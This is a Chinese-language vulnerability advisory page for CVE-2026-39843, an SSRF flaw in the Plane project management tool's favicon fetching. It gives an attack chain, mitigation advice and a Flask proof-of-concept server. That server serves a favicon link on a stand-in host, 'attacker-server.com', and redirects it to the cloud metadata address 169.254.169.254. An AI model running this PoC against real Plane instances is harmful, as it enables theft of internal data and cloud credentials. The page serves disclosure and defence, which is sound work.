IPBUF安全漏洞报告
English
CVE-2026-39843 CVSS 7.7 高危

CVE-2026-39843 Plane SSRF漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-39843
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Plane

相关标签

SSRFPlane项目管理CVE-2026-39843未授权访问

漏洞概述

Plane 开源项目管理工具在 0.28.0 至 1.3.0 之前版本中存在服务端请求伪造(SSRF)漏洞。由于对先前漏洞(GHSA-jcc6-f9v6-f7jw)的修复不完整,经过身份验证的低权限攻击者可通过“添加链接”功能,提交一个包含重定向至内网 IP 的链接标签的 HTML 页面。尽管主页面 URL 的重定向受到验证,但图标获取路径未受限制,仍遵循默认重定向规则。成功利用此漏洞可导致内网信息泄露,CVSS 评分为 7.7(高危)。

技术细节

该漏洞源于 Plane 应用在处理用户提交的链接时对 favicon 获取逻辑的不严谨修复。虽然系统验证了主页面 URL 的重定向以防止 SSRF,但 `fetch_and_encode_favicon()` 函数在获取网站图标时,直接使用了 Python `requests` 库的 `get` 方法且未禁用 `allow_redirects` 参数(默认为 True)。攻击者可构造一个恶意的 HTML 页面,其中包含 `<link rel="icon" href="http://attacker-controlled-redirect">`,并将该重定向指向内网敏感地址(如 http://169.254.169.254/latest/meta-data/)。当低权限用户通过 Plane 的“Add link”功能提交该链接时,服务器会自动抓取并编码图标。在此过程中,`requests.get` 会跟随重定向请求内网资源,导致服务器发起对内网 IP 的请求,从而实现 SSRF 攻击,读取敏感服务端数据。

攻击链分析

STEP 1
步骤1
攻击者准备一个恶意的HTML页面,其中包含指向攻击者控制服务器的link标签作为favicon,并配置该服务器对favicon请求进行302重定向至内网敏感IP(如127.0.0.1或云元数据服务)。
STEP 2
步骤2
攻击者使用低权限账户登录Plane项目管理工具,并利用“Add link”功能,将上述恶意HTML页面的URL提交给Plane。
STEP 3
步骤3
Plane服务器在后台处理该链接,调用`fetch_and_encode_favicon()`函数尝试获取网页图标。
STEP 4
步骤4
由于该函数使用requests库且默认跟随重定向,Plane服务器向攻击者的服务器请求favicon,随后跟随302重定向向内网IP发起请求。
STEP 5
步骤5
内网服务响应请求,攻击者成功利用Plane服务器作为代理读取了内网敏感信息(SSRF)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC Scenario: Attacker controlled server setup # This script simulates a malicious server that Plane will fetch. # The HTML contains a favicon link that redirects to an internal IP. from flask import Flask, redirect, Response app = Flask(__name__) # The internal IP address the attacker wants to scan (e.g., AWS metadata) INTERNAL_TARGET = "http://169.254.169.254/latest/meta-data/" @app.route('/exploit.html') def serve_exploit_page(): # Returns a normal HTML page but with a malicious favicon link html_content = """ <html> <head> <link rel="icon" href="http://attacker-server.com/redirect-to-internal"> </head> <body>Exploit Page</body> </html> """ return Response(html_content, mimetype='text/html') @app.route('/redirect-to-internal') def redirect_payload(): # Plane's fetch_and_encode_favicon will follow this redirect return redirect(INTERNAL_TARGET) if __name__ == '__main__': # Attacker hosts this server app.run(host='0.0.0.0', port=80) # Usage: # 1. Host this server. # 2. In Plane, use "Add link" feature with URL: http://attacker-server.com/exploit.html # 3. Plane server fetches the page, sees the favicon link, requests it. # 4. The server follows the redirect to the internal IP.

影响范围

Plane >= 0.28.0, < 1.3.0

防御指南

临时缓解措施
建议立即将Plane组件升级到1.3.0或更高版本以彻底修复此漏洞。若暂时无法升级,应配置网络防火墙或安全组,阻断应用服务器对非业务必要的外部及内网地址的HTTP/HTTPS连接,特别是RFC 1918规定的私有地址和链路本地地址。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表